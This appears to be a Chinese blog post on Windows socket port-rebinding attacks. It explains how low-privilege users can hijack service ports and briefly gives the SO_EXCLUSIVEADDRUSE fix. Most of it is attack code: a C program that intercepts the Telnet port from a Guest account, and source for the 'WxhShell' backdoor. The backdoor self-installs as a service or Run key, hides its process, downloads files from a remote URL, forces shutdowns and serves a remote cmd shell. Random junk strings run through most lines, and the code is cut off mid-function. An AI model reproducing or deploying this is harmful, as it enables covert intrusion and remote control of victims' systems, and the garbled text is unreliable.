在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Gd~Xvw,u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
2dr[0tE !(hP{k ^g saddr.sin_family = AF_INET;
F`ifHO o2 5kFD saddr.sin_addr.s_addr = htonl(INADDR_ANY);
x hFQjV?V ~{[~ =~\u bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
u|=G#y;3 eYurg6Ob~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
b-{\manH L30x2\C 这意味着什么?意味着可以进行如下的攻击:
KsGS s9 .d5|Fs~B 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
gno V>ON0 W.ud<OKP90 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
b\%=mN zJ#e3o . 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7"r7F#D=G -P 5VE0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A`7uw|uO$ 'r%`(Z{~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
daaEN( SPIYB/C 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<=V2~
asB KLXv?4! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'!!w|kd *_$%Tv.] #include
u!%]?MSc #include
I'o9.B8%# #include
?kew[oZ #include
6-#f1D 6 DWORD WINAPI ClientThread(LPVOID lpParam);
9jiZtwRpk int main()
AjaG.fa]k {
aI|<t^X WORD wVersionRequested;
#Xri%&~ DWORD ret;
2F3IC WSADATA wsaData;
Mz<4P3"H BOOL val;
0gVylQ SOCKADDR_IN saddr;
+7o3TA]- SOCKADDR_IN scaddr;
kRskeMr:Rd int err;
qqSk*oH~ SOCKET s;
T IPb ] SOCKET sc;
>.PLD} zE_ int caddsize;
Q/iaxY# HANDLE mt;
Zb7KHKO{ DWORD tid;
KMznl=LF wVersionRequested = MAKEWORD( 2, 2 );
IR>^U err = WSAStartup( wVersionRequested, &wsaData );
.F.4fk if ( err != 0 ) {
I?"cEp printf("error!WSAStartup failed!\n");
_{,e-_hYM return -1;
W
k'()N }
:gb7Py'C saddr.sin_family = AF_INET;
T"t3e=xA +J$[RxQ# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'@HWp 8+ s_K:h saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
jh`&c{#*)M saddr.sin_port = htons(23);
G3 #c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i}RxTmG< {
lcvWx%/o@ printf("error!socket failed!\n");
l{aXX[E&1 return -1;
;,Sl+)@h }
f6^H
Q1SSt val = TRUE;
(I, PC*: //SO_REUSEADDR选项就是可以实现端口重绑定的
br<,? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?YX2CJ6N {
F%6al,8P printf("error!setsockopt failed!\n");
PR~ho&! return -1;
uI-te~] }
bR49(K$~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^Ebaq`{V\' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$t-HJ<! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
eUVE8pZl F)lDK. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
rjQV;kX> {
&~G>pvZ ret=GetLastError();
\x)T_]Gcm printf("error!bind failed!\n");
zXvAW7 return -1;
{DBgW}, }
.5|wy< listen(s,2);
E@R7b(:* while(1)
HlPf {
N(]6pG= caddsize = sizeof(scaddr);
'wLQ9o%=p| //接受连接请求
^{-J Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+QuaQ% lA if(sc!=INVALID_SOCKET)
P$Xig {
Am!$\T%2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
&BCl>^wn} if(mt==NULL)
c&AA< 6pkv {
O|#^ &d printf("Thread Creat Failed!\n");
)fpZrpLXE break;
hPx=3L$ }
: UD<1fh }
sk$MJSE
~ CloseHandle(mt);
yFshV\ }
WWc{]R^D closesocket(s);
tH2y:o72 WSACleanup();
e[yk'E return 0;
L=VJl[DL }
M2[;b+W9 DWORD WINAPI ClientThread(LPVOID lpParam)
Bh"o{-$p8` {
,F.\ z^\{ SOCKET ss = (SOCKET)lpParam;
$=TFTSO SOCKET sc;
3rTYe6q$U unsigned char buf[4096];
-2w\8]u SOCKADDR_IN saddr;
4rc4}Yu,JI long num;
Obrv5%'
DWORD val;
Q~#udEajI DWORD ret;
5pI2G //如果是隐藏端口应用的话,可以在此处加一些判断
i(2s"Uww, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tqAh&TW3+ saddr.sin_family = AF_INET;
X&TTw/J!^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
UOZ"#cQ saddr.sin_port = htons(23);
g,7`emOX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bwqla43gX {
!GURn1vcAe printf("error!socket failed!\n");
xYRN~nr return -1;
yK_$6EtNKj }
Nqk*3Q"f val = 100;
-k|r#^(G2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
YbND2i {
*ELbz}Q ret = GetLastError();
C3u/8Mrt7 return -1;
)Pakb!0H@t }
lDnF( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
sikG}p0mx< {
=m:xf&r# ret = GetLastError();
w
[D9Q= return -1;
^9%G7J:vGO }
tz)aQ6p\X if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
R^<li;Km {
CbVU z< printf("error!socket connect failed!\n");
MVs@~= closesocket(sc);
[,3o closesocket(ss);
PzWhB* iBR return -1;
cclx$)X1X }
d0"Hu^] while(1)
%]h5\%@w {
!<Ma9%uC{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2)Grl;T]s //如果是嗅探内容的话,可以再此处进行内容分析和记录
uwXquOw //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
U
]`SM6 num = recv(ss,buf,4096,0);
eqb8W5h' if(num>0)
A7 qyv0F send(sc,buf,num,0);
']WS@MbJ else if(num==0)
uK6R+a break;
MxD,xpf num = recv(sc,buf,4096,0);
@Z&El:]3> if(num>0)
7;jwKA;k send(ss,buf,num,0);
Kp'_lKW)]q else if(num==0)
2%'{f break;
<La$'lG4J }
-hiG8%l5 closesocket(ss);
SpU+y|\[0 closesocket(sc);
Wl/oun~o return 0 ;
?{NP3
}
"-88bF~ I} m\(TS-" Z,^`R] 9 ==========================================================
OS;qb:; _HW~sz| 下边附上一个代码,,WXhSHELL
!}<d6&!py S}f3b N ==========================================================
rG|lRT3-K {?!=~vp #include "stdafx.h"
_dky+ E I`^
7Bk.r #include <stdio.h>
Ua\]]<hj" #include <string.h>
47 xyS%X #include <windows.h>
umhg
O.! #include <winsock2.h>
"SJp9s3 #include <winsvc.h>
[KR|m,QWp #include <urlmon.h>
? C1.g'}7 8/F}vfKEN #pragma comment (lib, "Ws2_32.lib")
+!h~T5Ck #pragma comment (lib, "urlmon.lib")
{+%|nOWV Z0uo.
H@.N #define MAX_USER 100 // 最大客户端连接数
}^U7NZn<" #define BUF_SOCK 200 // sock buffer
@iwVU]j #define KEY_BUFF 255 // 输入 buffer
YRa{6*M g X75zso #define REBOOT 0 // 重启
@M-i$
q[4 #define SHUTDOWN 1 // 关机
F7P?*!dx KX D&FDkF #define DEF_PORT 5000 // 监听端口
M3P\1 yB0xa% #define REG_LEN 16 // 注册表键长度
: 8dQ8p; #define SVC_LEN 80 // NT服务名长度
%Hx8%G! _uwM%M; // 从dll定义API
/~~aK2{^X~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
h+=xG|1R[5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
v EppkS U1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-< D7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
yw2Mr+9I $c"byQ[3S // wxhshell配置信息
9'nM$a struct WSCFG {
wX5Yo{ int ws_port; // 监听端口
2[!#Xf char ws_passstr[REG_LEN]; // 口令
hEUS&`K int ws_autoins; // 安装标记, 1=yes 0=no
Z>hS&B char ws_regname[REG_LEN]; // 注册表键名
ZeM~13[ char ws_svcname[REG_LEN]; // 服务名
[d
30mVM char ws_svcdisp[SVC_LEN]; // 服务显示名
Sggha~E2s char ws_svcdesc[SVC_LEN]; // 服务描述信息
KZrg4TEVi char ws_passmsg[SVC_LEN]; // 密码输入提示信息
&\tD$g~"
int ws_downexe; // 下载执行标记, 1=yes 0=no
7[z^0?Pygf char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.TZ0FxW char ws_filenam[SVC_LEN]; // 下载后保存的文件名
S:2M9nC _=0%3Sh };
)45~YDS;t cHo@F!{o= // default Wxhshell configuration
@uA=v/>+ struct WSCFG wscfg={DEF_PORT,
#J=^CE "xuhuanlingzhe",
,w-=8>5lrj 1,
:kU#5Aj gK "Wxhshell",
m8M2ka "Wxhshell",
K^32nQX "WxhShell Service",
?R-4uG[( "Wrsky Windows CmdShell Service",
TwPpZ@ "Please Input Your Password: ",
-c%#Hd 1,
MpY/G%3 "
http://www.wrsky.com/wxhshell.exe",
C_>
WU "Wxhshell.exe"
'O>p@BEK };
P+ejyl, +vf~s^ // 消息定义模块
kXW5bR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
CE,0@%6F* char *msg_ws_prompt="\n\r? for help\n\r#>";
78M%[7Cq<i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Nm{| char *msg_ws_ext="\n\rExit.";
[A jY~ char *msg_ws_end="\n\rQuit.";
PmjN!/ char *msg_ws_boot="\n\rReboot...";
/UWv}f
0 char *msg_ws_poff="\n\rShutdown...";
5>r2&72= char *msg_ws_down="\n\rSave to ";
`L~gERW# lZ,w#sqbY char *msg_ws_err="\n\rErr!";
7QSrC/e char *msg_ws_ok="\n\rOK!";
,:[\h\5m 0G;
b+ char ExeFile[MAX_PATH];
g\.O5H9Od int nUser = 0;
\d-H+t] HANDLE handles[MAX_USER];
vw~=z6Ka int OsIsNt;
~ eNKu Q*jNJ^IW SERVICE_STATUS serviceStatus;
`@<>"ff#F SERVICE_STATUS_HANDLE hServiceStatusHandle;
y@XE! L 9U]3B)h%m // 函数声明
TmviYP gb int Install(void);
(V(8E%<c int Uninstall(void);
mETGYkPUa int DownloadFile(char *sURL, SOCKET wsh);
C[ma!he int Boot(int flag);
<@.!\ void HideProc(void);
\u4`6EYF? int GetOsVer(void);
yC&u^{~BC int Wxhshell(SOCKET wsl);
+HDfEo T void TalkWithClient(void *cs);
$I0&I[_LzK int CmdShell(SOCKET sock);
5,_DM
int StartFromService(void);
JnE\z*NB int StartWxhshell(LPSTR lpCmdLine);
y.>1r7 Z\[6'R4.# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E\5Cf2Ox VOID WINAPI NTServiceHandler( DWORD fdwControl );
)#os!Ns_A %ztv.K(8 // 数据结构和表定义
]0o_-
NI SERVICE_TABLE_ENTRY DispatchTable[] =
TI5<'
U) {
k,,Bf-?
{wscfg.ws_svcname, NTServiceMain},
D[p_uDIz {NULL, NULL}
0{^ 0>H0 };
qtR/K=^i )U|0vr8: // 自我安装
~o8 int Install(void)
R4_BP5+ {
dDrzO*a\ char svExeFile[MAX_PATH];
q<XleC HKEY key;
fK/|0@B8 strcpy(svExeFile,ExeFile);
>,6%Y3 :pJKZ2B, // 如果是win9x系统,修改注册表设为自启动
T)#e=WcP] if(!OsIsNt) {
b3 NEYn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>PS`;S!( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0n/+X[%Ti RegCloseKey(key);
;$Pjl8\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d~abWBgC` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\x=j RegCloseKey(key);
gmUX
2x( return 0;
vqhu%ZyP }
_uL8TC^ }
^ *1hz< }
0/5{v6_rG else {
d_1uv_P {Gvv^.H7 // 如果是NT以上系统,安装为系统服务
IkP; i_| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
GMKY1{ if (schSCManager!=0)
dbG902dR {
RW`+F|UbE SC_HANDLE schService = CreateService
T9NTL\; (
bQgtZHO schSCManager,
_{2/QP} wscfg.ws_svcname,
\o}=ob wscfg.ws_svcdisp,
=/m$ayG SERVICE_ALL_ACCESS,
'wA4yJ< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{
Ba_.]x SERVICE_AUTO_START,
ZH)thd9^b SERVICE_ERROR_NORMAL,
Ba}<X;B } svExeFile,
gP2<L5&Z, NULL,
d3;Sy`. NULL,
-|2k$W NULL,
s 9n_s=w NULL,
=3;~7bYO NULL
$DeVXW );
h f{RI 4Jc if (schService!=0)
X?aj0# Q {
&HBC9Bx/( CloseServiceHandle(schService);
XK{K FB- CloseServiceHandle(schSCManager);
QB5,Vfoux strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
@bIZ0tr4 strcat(svExeFile,wscfg.ws_svcname);
bLSUF`-z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{k uC+~R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3~EPX`#[W RegCloseKey(key);
y=&^=Zh[ return 0;
LI9
Uc\ }
@(CJT-Ak }
E$C0\O!7 CloseServiceHandle(schSCManager);
|>/m{L[ }
%7A?gY81 }
[_-[S GK&R,q5} return 1;
19;Pjo8 }
==npFjB ('6sW/F*ab // 自我卸载
H;N6X y*~ int Uninstall(void)
=X3Rk)2r {
|"+UCAU HKEY key;
CwaW>(`v u=
Vt3%q if(!OsIsNt) {
o(stXa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H~;s$!lG RegDeleteValue(key,wscfg.ws_regname);
(R]b'3,E$ RegCloseKey(key);
n{"e8vQx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u>*d^[zS RegDeleteValue(key,wscfg.ws_regname);
%9OVw#P RegCloseKey(key);
Ay|K>8z return 0;
,CIsZ1[VS }
KkZS 6rD\ }
dmYgv^t }
Z#zXary5s else {
E`b<^l` Ey&gZ$|& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
oAF#bj_f if (schSCManager!=0)
3vj1FbY {
?t [C?{' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i:2eJ. if (schService!=0)
@r/f {
cuQAXqXC@ if(DeleteService(schService)!=0) {
lZJbQ=K{ CloseServiceHandle(schService);
^=ar Kp,?5 CloseServiceHandle(schSCManager);
Vrt*,R& return 0;
aa&\HDh * }
;4<!vVf e CloseServiceHandle(schService);
<"Yx}5n. }
Q\pI\]p: CloseServiceHandle(schSCManager);
15_Px9 }
+:&|]$8< }
'wjL7PI r:5u(2 return 1;
q|QkJr< }
J3y4D} <_#a%+5d // 从指定url下载文件
}CQ)W1mO" int DownloadFile(char *sURL, SOCKET wsh)
.$zo_~ mR {
&+" )~2
+ HRESULT hr;
H'?dsc char seps[]= "/";
!Q=xIS
char *token;
^oDSU7j5, char *file;
UF;iw char myURL[MAX_PATH];
zXGi char myFILE[MAX_PATH];
k3UKGP1 zhVkn]z~* strcpy(myURL,sURL);
Qsg([K token=strtok(myURL,seps);
wZb77 while(token!=NULL)
Qq<+QL | {
;mwU>l,4 file=token;
-J^t#R^$` token=strtok(NULL,seps);
(3N;- }
LfX[(FP l{t!
LTf; GetCurrentDirectory(MAX_PATH,myFILE);
yZY.B
{ strcat(myFILE, "\\");
O"emse}Z strcat(myFILE, file);
K2D,
*w send(wsh,myFILE,strlen(myFILE),0);
~#|Pe1Y send(wsh,"...",3,0);
aK]H(F2# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"p"~fN
/I9 if(hr==S_OK)
lx&;?QQ return 0;
\s_`ZEB else
I5#zo,9 return 1;
NU%<Ws= hIFfvUl }
94xWMX2 $kxP{0u // 系统电源模块
`:kI@TPI_C int Boot(int flag)
HB9|AQ4K {
~JTp8E9kw
HANDLE hToken;
l [
Na vw TOKEN_PRIVILEGES tkp;
5^C.}/#>F Yl"l|2
: if(OsIsNt) {
cc:,,T/i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
wg=-&- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
b|nh4g tkp.PrivilegeCount = 1;
Mcqym8,q|3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=4804N7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
et}%E9 if(flag==REBOOT) {
i7foZ\btFc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2Z7r ZjXW return 0;
/yFs$t>9 }
66|$X, else {
C]NL9Gq` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|WsB0R return 0;
\pVWYx }
yc.9CTxx }
18o5Gs;yx else {
'L8B"5|> if(flag==REBOOT) {
b>f{o_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ok(dCAKP return 0;
Y1 *8&xT }
Kd;)E 9Ti else {
ObSRd$M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
aLO'.5
~^ return 0;
Gk]6WLi }
UOcO\EA+ }
o>o! -uf ?+?`Jso( return 1;
TyN]P a }
R3@luT] VTJxVYE // win9x进程隐藏模块
Q$8K-5U% void HideProc(void)
i]}`e>fF {
]OLe&VRix YOQ>A*@4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
s> JWNP if ( hKernel != NULL )
O^KIB%}fu {
?k+>~k{}a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Fm4)|5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
UpS7>c7s FreeLibrary(hKernel);
nP#|JRn= }
>WmTM0 8 EUc
6 return;
pvY BhTz0 }
67A g.f6- Z&Xp9"j,@; // 获取操作系统版本
}$Z0v` int GetOsVer(void)
h+j{;evN {
G!.%Qqs OSVERSIONINFO winfo;
UHFI4{Wz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
r0,XR GetVersionEx(&winfo);
cc{^0JT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
BMYvxSsm return 1;
kR65{h"gZT else
FS7@6I2Ts return 0;
oP_}C[ }
1)hO!% tPaNhm[-q7 // 客户端句柄模块
=_Ip0FfK! int Wxhshell(SOCKET wsl)
ayrCLv {
C^*3nd3 SOCKET wsh;
k%%0"+y#a struct sockaddr_in client;
yhh\?qqy DWORD myID;
z~Is
E8 |:,i while(nUser<MAX_USER)
CJe~>4BT {
4^_'LiX3[ int nSize=sizeof(client);
9qI#vHA wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P~M<OUg if(wsh==INVALID_SOCKET) return 1;
"g:1br?X,9 $u%7]]Y^\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^!rAT1(/_ if(handles[nUser]==0)
#}S<O_ closesocket(wsh);
R?iC"s! else
>*Ctp +X@ nUser++;
[(*? }
Y>Fh<"A|$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D8f4X
w}= D|D)782 return 0;
>b2wFo/em }
l$ufW| Qm>2,={h // 关闭 socket
,*CPG$L void CloseIt(SOCKET wsh)
<5o
oML]nP {
.>
5[; closesocket(wsh);
GBYwS{4 nUser--;
):7mK03J ExitThread(0);
B6.9hf }
\k.W
F|~ KZGy&u
>` // 客户端请求句柄
r mJ`^6V void TalkWithClient(void *cs)
NM+(ss' {
Sy"!Q%+| c0QKx= SOCKET wsh=(SOCKET)cs;
`Jn2(+ char pwd[SVC_LEN];
y&6 pc char cmd[KEY_BUFF];
Td5yRN! ? char chr[1];
2x!cblo int i,j;
s2"<<P[q' HpIWH* while (nUser < MAX_USER) {
`oOVR6{K9 s y>}2orj~ if(wscfg.ws_passstr) {
`Ha<t. v( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Iad&Z8E //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'a G`qPB //ZeroMemory(pwd,KEY_BUFF);
N2.Ym;^ i=0;
xjh(;S' while(i<SVC_LEN) {
WB 5M![ zI"1.^Trn // 设置超时
JKA%$l0 fd_set FdRead;
97vQM struct timeval TimeOut;
S!h=HE FD_ZERO(&FdRead);
LG;U?:\ FD_SET(wsh,&FdRead);
B{!*OC{l TimeOut.tv_sec=8;
W~j>&PK,? TimeOut.tv_usec=0;
e#!p6+#" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2?@Ozr2Uh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Xx1e SX _K3;$2d|R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
GTke<R pwd
=chr[0]; #=,c8"O
if(chr[0]==0xd || chr[0]==0xa) { 3jjV
bm
pwd=0; sB wzb
break; .4[M7)
} D[dI_|59a
i++; [F+*e=wjN>
} o^W.53yX
,j(S'Pw
// 如果是非法用户,关闭 socket jIck!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S,f:nLT
} Xa$-Sx
Yc^,Cj{OM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,c|Ai(U
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EbnV"]1
<=]:ED $V@
while(1) { )yUSuK(Vu
DFp">1@`PR
ZeroMemory(cmd,KEY_BUFF); `JcWH_[
xM?tdQ~VHY
// 自动支持客户端 telnet标准 6 -BC/
j=0; LerRrN}~
while(j<KEY_BUFF) { soh9Oedml-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZG(Pz9{K
cmd[j]=chr[0]; cnB:bQQK8
if(chr[0]==0xa || chr[0]==0xd) { b\p2yJ\
cmd[j]=0; %R P\,|
break; dy4~~~^A
} ^00C"58A
j++; =>L2~>[
} UN|S!&C$
xM$AhH
// 下载文件 aSIoq}c(
if(strstr(cmd,"http://")) { S|]\q-qA&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); gP`CQ0t
if(DownloadFile(cmd,wsh)) d "25e"(~F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PAXm
else :"gu=u!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K_%gda|l+
} :kvQ3E0
else { (w` j?c1
[I,s: mn
switch(cmd[0]) { DDe`Lb%%
_8e0vi!~2
// 帮助 H@'u$qr$:
case '?': { ~:99
)AOM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bh;N:{&^Eu
break; =g$%jM>35
} ^e--4B9|
// 安装 EZ[e
a<
case 'i': { _Uhl4Mh
if(Install()) 8;O /x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3cc;BWvM
else !-4VGt&c,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o
@nsv&i
break; 0(Hzh?t_
} <sG}[:v
// 卸载 dst!VO:
M
case 'r': { {dwlW`{
if(Uninstall()) p21li}Iu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~7:Q+ 0,,
else Qp +M5_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )H+ p6<
break; W4=A.2[q
} JhvT+"~
// 显示 wxhshell 所在路径 tk+4noA
case 'p': { Zou;o9Ww
char svExeFile[MAX_PATH]; a~Yq0 d?`D
strcpy(svExeFile,"\n\r"); %v[KLMo'(
strcat(svExeFile,ExeFile); D&1(qi=x&
send(wsh,svExeFile,strlen(svExeFile),0); ]xPy-j6C
break; ^GNL:D%6d
} Ks-$([_F
// 重启 zGa
V^X
case 'b': { 6foiN W+
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Gw{W&<
if(Boot(REBOOT)) t(UdV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 04:QEC"9mj
else { 3-BC4y/
closesocket(wsh); =d/$B!t{
ExitThread(0); P?Kg7m W
} T}Wse{
break; 9JO1O:W
} $Y8iT<nP
// 关机 7#C3E$gn?
case 'd': { ,%U\@*6=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y^eF(
if(Boot(SHUTDOWN)) !e}4>!L,(^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o_&Qb^W
else { |k]fY*z(
closesocket(wsh); X?Or.
ExitThread(0); .\8LL,zT
} 1V-si bE
break; e8{!Kjiz
} oE)xL%*
// 获取shell
%$=2tfR
case 's': { fni7HBV?
CmdShell(wsh); OV`li#H
closesocket(wsh); J:G{
ExitThread(0); W&7(
break; goc; .~?
} @>`qfy?
// 退出 fYlqaO4[
case 'x': { +@~e9ZG%a
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S2EV[K8#
CloseIt(wsh); o0TB>DX$`
break; 0@RVM|
} =b>e4I@
// 离开 x M{SFF
case 'q': { 7{38g
send(wsh,msg_ws_end,strlen(msg_ws_end),0); iyr<qtwK
closesocket(wsh); U "v=XK)!
WSACleanup(); PNH>LT^
exit(1); M6y|;lh''c
break; #v*3-) 8
} dv?t;D@p!
} ON"p^o>/_?
} AJ
z 1
i:H]Sb)<b
// 提示信息
M,we,!B0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !\\OMAf7
} *!yA'z<
} 3*-!0
ld#YXJ;P.k
return; Lm+E? Ca
} #wJ^:r-c`
E5Lq-
// shell模块句柄 GN+!o($
int CmdShell(SOCKET sock) /!U(/
{ 8:K_S a%
STARTUPINFO si; '
?a d
ZeroMemory(&si,sizeof(si)); \vE-;,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v!AfIcEV
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yn>FSq^Wp-
PROCESS_INFORMATION ProcessInfo; M-(,*6Q
char cmdline[]="cmd"; 1jd.tup
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %yK- Q,'O
return 0; \W|ymV_Ki
} r(<91~Ww
%!R\-Vej
// 自身启动模式 u $qazj
int StartFromService(void) v)nBp\fjxp
{ .g_^! t
typedef struct 1*:BOoYx
{ zUWeOR'X
DWORD ExitStatus; P`y.3aK
